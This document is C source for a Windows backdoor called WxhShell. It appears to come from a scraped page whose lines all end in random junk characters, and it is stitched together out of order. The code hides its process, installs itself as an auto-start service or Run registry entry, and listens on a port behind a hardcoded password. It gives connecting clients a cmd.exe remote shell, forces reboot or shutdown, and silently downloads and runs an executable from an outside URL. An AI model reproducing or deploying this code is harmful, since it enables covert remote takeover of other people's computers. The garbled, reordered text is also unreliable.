  case 'd': { yUqvF6+26  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?}bSQ)b  
    if(Boot(SHUTDOWN)) G{$9e}#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XLI'f$w&  
    else { y2o?a6`  
    closesocket(wsh); .0r5=  
    ExitThread(0); VNx}ADXu]  
    } `yNNpSdS1  
    break; dGr Ow)  
    } "-90:"W  
  // 获取shell Xo;J1H  
  case 's': { n +`(R]Q  
    CmdShell(wsh); <~<I K=n  
    closesocket(wsh); w'#VN|;;!  
    ExitThread(0); i=#r JK=  
    break; av&dGsFP  
  } lD _  u  
  // 退出 x.<^L] "  
  case 'x': { 76 #  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {y)s85:t  
    CloseIt(wsh); L_=J(H|  
    break; dPPe_% Ilr  
    }  QSmE:Y  
  // 离开 PQlG !  
  case 'q': { Qf$0^$ "  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^Qs-@]E-  
    closesocket(wsh); x\3tSP7Vp  
    WSACleanup(); 4qrPAt  
    exit(1); l)Q,*i  
    break; p}}}~ lC/  
        } 7E%ehM6Y  
  } 8L|rj4z<#  
  } ^{zwIH2I]  
0/#XUX 4  
  // 提示信息 lva]jh2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q{Jz;6"  
} tI{pu}/"#  
  } :2 n5;fp  
L>).o%(R  
  return; 7)a=B! 8M  
} O=-|b kO  
H?aB8=)  
// shell模块句柄 I{RktO;1  
int CmdShell(SOCKET sock) DvhK0L*Qr  
{ @RnGK 5  
STARTUPINFO si; @L~y%#  
ZeroMemory(&si,sizeof(si)); jV7q)\uu^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $[>wJXj3R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V)0bLR  
PROCESS_INFORMATION ProcessInfo; NuP@eeF>,  
char cmdline[]="cmd"; g`Rs;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =W4cWG?+  
  return 0; a;h:o>Do5  
} ~ h:^Q  
w6cPd'  
// 自身启动模式 '@:;oe@]  
int StartFromService(void) 9YvMJ  
{ cdh1~'q/  
typedef struct [XQNgSy?z  
{ i/$lO de  
  DWORD ExitStatus; "Srp/g]a  
  DWORD PebBaseAddress; 2dq{n.cgs  
  DWORD AffinityMask; GN>T }  
  DWORD BasePriority; OE[/sv  
  ULONG UniqueProcessId; tb=(L  
  ULONG InheritedFromUniqueProcessId; -,i1T(p1  
}   PROCESS_BASIC_INFORMATION; 6 =kd4'yV  
M9N|Ql  
PROCNTQSIP NtQueryInformationProcess; /qp`xJ  
$Z(zO;k.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -meKaQv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iFHVr'Og'  
Jz-f1mhQV  
  HANDLE             hProcess; *|jqRfa"  
  PROCESS_BASIC_INFORMATION pbi; RM`8P5i]sF  
>?DrC/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~bwFQYY=  
  if(NULL == hInst ) return 0; k9bU<  
 /!9949XV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gr7W&2x7\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #?-W.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !sLn;1l  
<W5F~K ;41  
  if (!NtQueryInformationProcess) return 0; z;3}GxE-si  
{<_}[} XY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tz)L`g/J~  
  if(!hProcess) return 0; +&t{IP(?  
G%>[I6G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }tJ:-!*2  
I,#U _  
  CloseHandle(hProcess); &zm5s*yNt  
i&l$G55F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CHLMY}O0  
if(hProcess==NULL) return 0; cis ~]x%  
;;U2I5 M7  
HMODULE hMod; {6KU.'#iF  
char procName[255]; Y<|L|b6  
unsigned long cbNeeded; ]]]7"a  
#{]=>n)j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Lufz-[1  
>DV0!'jW  
  CloseHandle(hProcess); @ce4sSo  
S-L6KA{  
if(strstr(procName,"services")) return 1; // 以服务启动 iCc \p2p  
3NJ-.c@(p  
  return 0; // 注册表启动 m4%m0"Z  
} i?a]v 5  
Rc6Rk!^  
// 主模块 D@3|nS  
int StartWxhshell(LPSTR lpCmdLine) 1%+0OmV&  
{ ;J`X0Vl$  
  SOCKET wsl; ^yb_aCw  
BOOL val=TRUE; ,CvU#ab8$  
  int port=0; {=(4  
  struct sockaddr_in door; qItI):9U  
=CJs&Qa2  
  if(wscfg.ws_autoins) Install(); ht=yzJ9Pr  
H;Bj\-Pa  
port=atoi(lpCmdLine); } M1<a4~  
?/u&U\P  
if(port<=0) port=wscfg.ws_port; 3b_#xr-  
Oq.) 8E.  
  WSADATA data; h&Sl8$jVp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n%O`K{86  
L Y M`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )/=J=xw2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /@ OGYYH,M  
  door.sin_family = AF_INET; .p5*&i7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sO*6F`eiZ  
  door.sin_port = htons(port); $M><K  
'z\F-Ttq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LQS*/s0  
closesocket(wsl); E6G^?k~q  
return 1; |;].~7^  
} ,CdI.kV>o2  
cbIW>IbM  
  if(listen(wsl,2) == INVALID_SOCKET) { *[jaI-~S  
closesocket(wsl); ' ZB%McS  
return 1; J) (pGS@  
} 7,jqA"9  
  Wxhshell(wsl); %GIla *  
  WSACleanup(); gf!j|O;  
n2QD*3i  
return 0;  'dg OE  
;S%wPXj&  
} >,y QG+  
t2E_y6  
// 以NT服务方式启动 $@<\$I2s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D/)xe:  
{ \ pq]q  
DWORD   status = 0; g_q{3PW.  
  DWORD   specificError = 0xfffffff; EEaFi 8  
}{ P}P}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w?R6$n`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZE1#{u~[y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oo qNPLa  
  serviceStatus.dwWin32ExitCode     = 0; }:+SA  
  serviceStatus.dwServiceSpecificExitCode = 0; `xv2,Z9<  
  serviceStatus.dwCheckPoint       = 0; 08czP-)OZ  
  serviceStatus.dwWaitHint       = 0; AS5' j  
R RRF/Z;))  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;YN`E  
  if (hServiceStatusHandle==0) return; b'r</ncZ  
H1Jk_@b  
status = GetLastError(); x%_VzqR`  
  if (status!=NO_ERROR) RG&t0%yj}  
{ !WS Y75  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1aAY7Dm_&  
    serviceStatus.dwCheckPoint       = 0; 76::X:76  
    serviceStatus.dwWaitHint       = 0; _+7+90u  
    serviceStatus.dwWin32ExitCode     = status; \rj>T6  
    serviceStatus.dwServiceSpecificExitCode = specificError; {{6D4M|s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +P! ibHfP  
    return; =y^`yv 3  
  } /Fk]>|*  
z`}z7e'>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; & zR\Rmpt  
  serviceStatus.dwCheckPoint       = 0; &L[i"1a  
  serviceStatus.dwWaitHint       = 0; 9epMw-)k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !vSq?!y6*P  
} :{^~&jgL  
k]C k%[d  
// 处理NT服务事件,比如:启动、停止 R>Dr1fc}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HL]J=Gh  
{ S,C c0)j>  
switch(fdwControl) n!AW9]  
{  *  ]  
case SERVICE_CONTROL_STOP: 6&5D4 V  
  serviceStatus.dwWin32ExitCode = 0; WVsj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AbhR*  
  serviceStatus.dwCheckPoint   = 0; pouXt-%2X  
  serviceStatus.dwWaitHint     = 0;  0Gc:+c7{  
  { Sk"hqF.2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VwRZgL  
  } cl1ygpf(  
  return; d>mT+{3  
case SERVICE_CONTROL_PAUSE: 2z" <m2 a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  Qe7=6<  
  break; hr&&b3W3p  
case SERVICE_CONTROL_CONTINUE: x#&_/oqAk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2LR y/ah  
  break; 5M~+F"Hl  
case SERVICE_CONTROL_INTERROGATE: F-b]>3r  
  break; Q\}-MiI/  
}; ,Y6]x^W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]P#W\LZp  
} %o4v} mzV  
&]LpGl  
// 标准应用程序主函数 U}DE9e{/!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;-JFb$m  
{ R) :Xs .  
ykJ+LS{+  
// 获取操作系统版本 +TA~RC d  
OsIsNt=GetOsVer(); 1fsNQ!vQP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tY]?2u%)  
+jZa A/  
  // 从命令行安装 i/n ee_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZO/Jf Jn~  
^X+qut+~  
  // 下载执行文件 fCN+9!ljG`  
if(wscfg.ws_downexe) { Al6%RFt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .)+c01  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0SWqC@AR%  
} eR>8V8@  
~Gmt,l! b  
if(!OsIsNt) { ~GX ]K H  
// 如果时win9x,隐藏进程并且设置为注册表启动 eGg6wd  
HideProc(); t3?I4HQ  
StartWxhshell(lpCmdLine); r5UV BV8T  
} *yw!Y{e!9  
else $z*"@  
  if(StartFromService()) wT- <#+L\  
  // 以服务方式启动 IAGY-+8e  
  StartServiceCtrlDispatcher(DispatchTable); k7rg:P  
else xR%NiYNQz  
  // 普通方式启动 gCPH>8JwS0  
  StartWxhshell(lpCmdLine); "ldd&><  
=^rp= Az  
return 0; )\:IRr"  
} aXqig&:  
.TdFI"Yn  
Rh)XYCM  
;A@DE@^5w  
=========================================== { V(~  
t7u*j-YE  
7?uDh'utt  
Cj4Y, N  
% JiF269  
Or?c21un  
" `5h^!="  
4.wrY6+V  
#include <stdio.h> E:/!]sm!  
#include <string.h> k*6"!J%A  
#include <windows.h> _<mY|  
#include <winsock2.h> ?.F^Oi6 u  
#include <winsvc.h> L-}Uj^yF  
#include <urlmon.h> f1'X<VA  
c-(dm:  
#pragma comment (lib, "Ws2_32.lib") NkNFx<9T  
#pragma comment (lib, "urlmon.lib") O%>*=h`P  
'a JE+  
#define MAX_USER   100 // 最大客户端连接数 Tq )hAZ  
#define BUF_SOCK   200 // sock buffer "\}h  
#define KEY_BUFF   255 // 输入 buffer =8`KGeP$  
'/ \*l<  
#define REBOOT     0   // 重启 YuVlD/  
#define SHUTDOWN   1   // 关机 .xT{Rz  
yl@Nyu  
#define DEF_PORT   5000 // 监听端口 4OJD_  
)7+z/y+[n  
#define REG_LEN     16   // 注册表键长度 {Y2 J:x  
#define SVC_LEN     80   // NT服务名长度 PknKzrEG:>  
MS#*3Md&y  
// 从dll定义API O>nMeU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WFk%nO/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4\|Q;@f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b3[!1i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F Xr\  
=$y J66e  
// wxhshell配置信息 zvq}7,  
struct WSCFG { ,\&r\!=  
  int ws_port;         // 监听端口 vuY X0&  
  char ws_passstr[REG_LEN]; // 口令 D~i5E9s5  
  int ws_autoins;       // 安装标记, 1=yes 0=no $n!5JS@40  
  char ws_regname[REG_LEN]; // 注册表键名 R(&3})VOa  
  char ws_svcname[REG_LEN]; // 服务名 WH39=)D%u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DOFW"SpE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pke8RLg2A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 < -W 8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SKNHLE}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k}nGgd6XD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9__Q-J  
#m<uG5l`  
}; *3={s"a.(  
cc`u{F9  
// default Wxhshell configuration 80g}<Lwc  
struct WSCFG wscfg={DEF_PORT, L ..  
    "xuhuanlingzhe", 8|\ -(:v  
    1, z(.,BB[  
    "Wxhshell", os;9 4yd )  
    "Wxhshell", HfH_jnR*  
            "WxhShell Service", <wFmfrx+v  
    "Wrsky Windows CmdShell Service", |unvDXx-  
    "Please Input Your Password: ", ~rjK*_3/  
  1, D'ZUbAh!  
  "http://www.wrsky.com/wxhshell.exe", e2V;6N  
  "Wxhshell.exe" GoX<d{  
    }; 1uKIO{d @  
t(PA+~sIp  
// 消息定义模块 Lh-Y5(c o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]lyQ*gM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k^;/@:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; />:$"+gKo  
char *msg_ws_ext="\n\rExit."; N:pP@o  
char *msg_ws_end="\n\rQuit."; nB :iG  
char *msg_ws_boot="\n\rReboot..."; M e:l)8+  
char *msg_ws_poff="\n\rShutdown..."; iKaS7lWH  
char *msg_ws_down="\n\rSave to "; =2rdbq6R  
T:K}mLSg  
char *msg_ws_err="\n\rErr!"; ~X<$ l+5  
char *msg_ws_ok="\n\rOK!"; doX`NbA  
%$)Sz[=  
char ExeFile[MAX_PATH]; z$g__q-  
int nUser = 0; = 4|"<8'  
HANDLE handles[MAX_USER]; Dh#5-Kf%  
int OsIsNt; N^F5J  
h?4EVOx+  
SERVICE_STATUS       serviceStatus; /']`}*d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {H9g&pfv  
>OjK0jiPf  
// 函数声明 j3+ hsA/(k  
int Install(void); tOk=m'aUK  
int Uninstall(void); ;Tq4!w'rH  
int DownloadFile(char *sURL, SOCKET wsh); vGJw/ij'X  
int Boot(int flag); *N{k#d/  
void HideProc(void); /yUKUXi  
int GetOsVer(void); +yk0ez  
int Wxhshell(SOCKET wsl); |?f~T"|>  
void TalkWithClient(void *cs); |VyN>&r~6  
int CmdShell(SOCKET sock); s6;ZaU  
int StartFromService(void); fcohYo5mh  
int StartWxhshell(LPSTR lpCmdLine); pD~."fb  
{VM^K1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D=5%lL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C4d CaiX  
23bTCp.d  
// 数据结构和表定义 :Us+u-~  
SERVICE_TABLE_ENTRY DispatchTable[] = g*4^HbVxt  
{ \qG` ts  
{wscfg.ws_svcname, NTServiceMain}, { Rxb_9  
{NULL, NULL} :8+x&zn  
}; D7B g!*  
n7n-uc  
// 自我安装 ka_R|x G\  
int Install(void) tgeXX1Eq!  
{ v806f8  
  char svExeFile[MAX_PATH]; :F"NF  
  HKEY key; YXU2UIY<~  
  strcpy(svExeFile,ExeFile); {p(6bsn_#]  
;__k*<+{.  
// 如果是win9x系统,修改注册表设为自启动 \K Kt& bKL  
if(!OsIsNt) { .NF3dC\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J~ z00p`E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N{Pa&/V  
  RegCloseKey(key); x IL]Y7HWM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cj#.Oaeq*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o7v9xm+  
  RegCloseKey(key); `w "ooK  
  return 0; ZNDjk  
    } ^'b\OUty-  
  } es$<Vkbp  
}  6\QsK96_  
else {  SmAF+d  
H]{`q  
// 如果是NT以上系统,安装为系统服务 B/JMH 1r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J b7^'P  
if (schSCManager!=0) \@ N[  
{ +\cG{n*  
  SC_HANDLE schService = CreateService R:44Gv7  
  ( BGO pUy  
  schSCManager, PiNf;b^9  
  wscfg.ws_svcname, S<w? ,Z  
  wscfg.ws_svcdisp, T&E'MB  
  SERVICE_ALL_ACCESS, U\"FYTC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nc#} \  
  SERVICE_AUTO_START, 92/_!P>  
  SERVICE_ERROR_NORMAL, (Ii+}Mfp  
  svExeFile, u&o<>d;)  
  NULL, (/_w23rr  
  NULL, c 1{nOx  
  NULL, zhI"++  
  NULL, I-/-k.  
  NULL Lhxg5cd  
  ); B(R$5Xp  
  if (schService!=0) >#5jO9  
  { 7<93n`byM  
  CloseServiceHandle(schService); F||oSJrI  
  CloseServiceHandle(schSCManager); fvV5G,lD3h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [85tZr]  
  strcat(svExeFile,wscfg.ws_svcname); TA"gU8YQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D [K!xq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3?wL)6Uj8J  
  RegCloseKey(key); F<2qwP  
  return 0; Rw`64L_  
    } 4 :M}Vz-  
  } ded:yho   
  CloseServiceHandle(schSCManager); 3s,a%GOk  
} W@vCMy!  
} 2<uBC  
r]bG,?|  
return 1; kOv37c'  
} O _^Y*!  
xbZR/!?  
// 自我卸载 wF{M"$am  
int Uninstall(void) E*#5OT  
{ D'"l%p  
  HKEY key; n wO5<b;  
F Xp_`9.zH  
if(!OsIsNt) { i dY Xv)R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J!5&Nc  
  RegDeleteValue(key,wscfg.ws_regname); l }]"X@&G  
  RegCloseKey(key); oSkvTK$ &i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /k=k rAz.  
  RegDeleteValue(key,wscfg.ws_regname); @8|i@S@4  
  RegCloseKey(key); .|2[! 7CXH  
  return 0; 8:"s3xaO3  
  } {:`XhPS<B  
} qXB5wDJg  
} ME'LZ"VT  
else { ST[E$XL6  
p!+bn,?G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O`0\f8/.?  
if (schSCManager!=0) d+&w7/F  
{ z v:o$2Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); | =tGrHL  
  if (schService!=0) hU 5_ dV  
  { *~8g:;u  
  if(DeleteService(schService)!=0) { q$jwH] .  
  CloseServiceHandle(schService); Xrzpn&Y=#  
  CloseServiceHandle(schSCManager); NsL!AAN[V  
  return 0; v)LSH;<  
  } <ua! ]~  
  CloseServiceHandle(schService); dIk9C|-.  
  } Gn 1  
  CloseServiceHandle(schSCManager); ]1|OQYG  
} X-cP '"  
} gmtS3,  
/=:F w}vt  
return 1; ;H"OZRQ  
} Ny]]L  
nSq$,tk(  
// 从指定url下载文件 ->J5|c#  
int DownloadFile(char *sURL, SOCKET wsh) |uM(A~?  
{ 5YQJNP  
  HRESULT hr; ez[$;>  
char seps[]= "/"; Dx.hM[  
char *token; ~!'T!g%C  
char *file; 5$/Me=g<  
char myURL[MAX_PATH]; @Zfg]L{Lr  
char myFILE[MAX_PATH]; SHqz &2u  
j.KV :zJU  
strcpy(myURL,sURL); q`HK4~i,  
  token=strtok(myURL,seps); /1?{,Das=  
  while(token!=NULL) A2I\T, Z  
  { gg$:U  
    file=token; d@ tD0s  
  token=strtok(NULL,seps); NtQ#su$  
  } %TzdpQp"  
Q57Z~EsF  
GetCurrentDirectory(MAX_PATH,myFILE); ]v0=jm5A  
strcat(myFILE, "\\"); z<8WN[fB  
strcat(myFILE, file); ,/UuXX  
  send(wsh,myFILE,strlen(myFILE),0); [`bA,)y"  
send(wsh,"...",3,0); D1cnf"y^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hIwqSKq9  
  if(hr==S_OK) M>@PRb:Oc  
return 0; #Z}YQ $g  
else 'HvJ]}p  
return 1; kS)|oU K  
R5fZ }C7  
} 36yIfC,  
*TYOsD**9  
// 系统电源模块 gHVD,Jr  
int Boot(int flag) w,zm!  
{ Z xR  
  HANDLE hToken; d>x(Bj6  
  TOKEN_PRIVILEGES tkp; r%%<   
me@EKspX  
  if(OsIsNt) { 10r9sR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); USbFUHdDc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X/23 /_~L`  
    tkp.PrivilegeCount = 1; u7bji>j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %DhLU~VX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z8WBOf*~e  
if(flag==REBOOT) { A7TV-eWG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VPOp#;"%  
  return 0; 9f$3{ g{m  
} ~lH2# u>g  
else { H;RgYu2J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HkyN$1s  
  return 0; #v:A-u  
} L$=a,$  
  } fnudy% oo  
  else { Px?0)^"2  
if(flag==REBOOT) { RzqU`<//  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OZE.T-{  
  return 0; Z4tc3e  
} !9EbG  
else { ". wG~H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A|BN >?.t  
  return 0; ;Dc\[r  
} "oT]_WHqo  
} a>Xq   
;;n=(cM|z  
return 1; _H$Z }2g<z  
} *+<H4.W H  
RJLhR_t7n  
// win9x进程隐藏模块 09Y:(2Qri  
void HideProc(void) a}7P:e*u  
{ n]bxG8~t  
8YkCTJfBGu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7kQ,D,c'  
  if ( hKernel != NULL ) 7dXh,sD  
  { ]d,#PF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `-<m#HF:)d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6G>bZ+  
    FreeLibrary(hKernel); SRc|9W5t*J  
  } q@iZo,Yk  
_<l9j;6  
return; }3y Q*<  
} f'B#h;`  
8!Q0:4Vb  
// 获取操作系统版本 W^dRA xVX  
int GetOsVer(void) uCGn9]  
{ 'K3%@,O  
  OSVERSIONINFO winfo; "aeKrMgc6V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?1lx8+  
  GetVersionEx(&winfo); aKkY)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w}Xy;0c  
  return 1; }}~ t! /x  
  else _c6 zzGtH  
  return 0; >)S'`e4Gu  
} *(]@T@yN  
ED R*1!d  
// 客户端句柄模块 ut;KphvSH  
int Wxhshell(SOCKET wsl) / S)&dN`  
{ h*?/[XY  
  SOCKET wsh; VWcR@/3  
  struct sockaddr_in client; qVmG"et'J  
  DWORD myID; p&,2@(Q  
<D{_q.`vA  
  while(nUser<MAX_USER) vCtag]H2@  
{ j8#B  
  int nSize=sizeof(client); NI% ()  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E| =~rIKN  
  if(wsh==INVALID_SOCKET) return 1; [P"R+$"   
^)|1T#Tz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E>6:59+  
if(handles[nUser]==0) EL-1o0 2-  
  closesocket(wsh); R^F\2yth-  
else 80qe5WC.2u  
  nUser++; >VWH bo  
  } .]W A/}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bAqaf#}e  
S vR? nN|  
  return 0; obhq2sK  
} y1:#0  
_K"X  
// 关闭 socket )51H\o  
void CloseIt(SOCKET wsh) O<v9i4*  
{ |J#mgA}(  
closesocket(wsh); )#l,RJ(  
nUser--; 'F@#.Op`  
ExitThread(0); Qv@Z#  
} <e&*Tx<8  
*"D8E^9  
// 客户端请求句柄 -dn\*n5  
void TalkWithClient(void *cs) W}U-u{Z  
{ p KF>_\   
U:.  
  SOCKET wsh=(SOCKET)cs; /hMD Me  
  char pwd[SVC_LEN]; L4'FL?~I  
  char cmd[KEY_BUFF]; G:2m)0bW  
char chr[1]; ?#LbhO*   
int i,j; VfiMR%i}  
bLysUj5[5  
  while (nUser < MAX_USER) { BEzF'<Z  
uI I:Y{G  
if(wscfg.ws_passstr) { bNG;`VZ%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &&;ol}W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); THM\-abz  
  //ZeroMemory(pwd,KEY_BUFF); +0Rr5^8u  
      i=0; '}{J;moB  
  while(i<SVC_LEN) { 89@e &h*  
VzR (O B  
  // 设置超时 ,HxsU,xiG  
  fd_set FdRead; 0NB6S&lI^k  
  struct timeval TimeOut; /IS j0"/$  
  FD_ZERO(&FdRead); H3"[zg9L:a  
  FD_SET(wsh,&FdRead); b&;1b<BwD  
  TimeOut.tv_sec=8; Xp=Y<`dX  
  TimeOut.tv_usec=0; 6N&S3<c4JO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >a;^=5E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s9<fPv0w  
d))(hk:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ok+zUA[Wu  
  pwd=chr[0]; G"= tQ$ZU  
  if(chr[0]==0xd || chr[0]==0xa) { D@yg)$;z  
  pwd=0; }*~EA=YN;  
  break; W%f:+s}cI  
  } L)'JkX J  
  i++; j w)Lofn  
    } 2roPZj  
b'^OW  
  // 如果是非法用户,关闭 socket I72UkmK`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -&#L4AM%(9  
} G qI^$5?  
5#.uA_Fov  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >eg&i(C+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _7YAF,@vT  
XnQd(B`M  
while(1) { )^uLZMNaI  
TRrO-  
  ZeroMemory(cmd,KEY_BUFF); ~1pJQ)!zlq  
GA{>=Q _~  
      // 自动支持客户端 telnet标准   YNbs* i&  
  j=0; f)q\RJA)X  
  while(j<KEY_BUFF) { |2X Et\P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UM7Ft"  
  cmd[j]=chr[0]; * eL%[B  
  if(chr[0]==0xa || chr[0]==0xd) { k0?4vA  
  cmd[j]=0; D5)qmu  
  break; 6rL'hB!!]*  
  } 9Ps:]Kp!vN  
  j++; U KF/v  
    } {o7ibw=E)  
2GcQh]ohc  
  // 下载文件 kf0zL3|   
  if(strstr(cmd,"http://")) { ;C-5R U V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 71cc6T  
  if(DownloadFile(cmd,wsh)) dY/=-ymW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\?ySto  
  else O{&5/xBA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VZF/2d84&w  
  } e}f!zA  
  else { WE4:Jy  
g GN[AqR  
    switch(cmd[0]) { QY-P!JD  
  b`E0tZcJ  
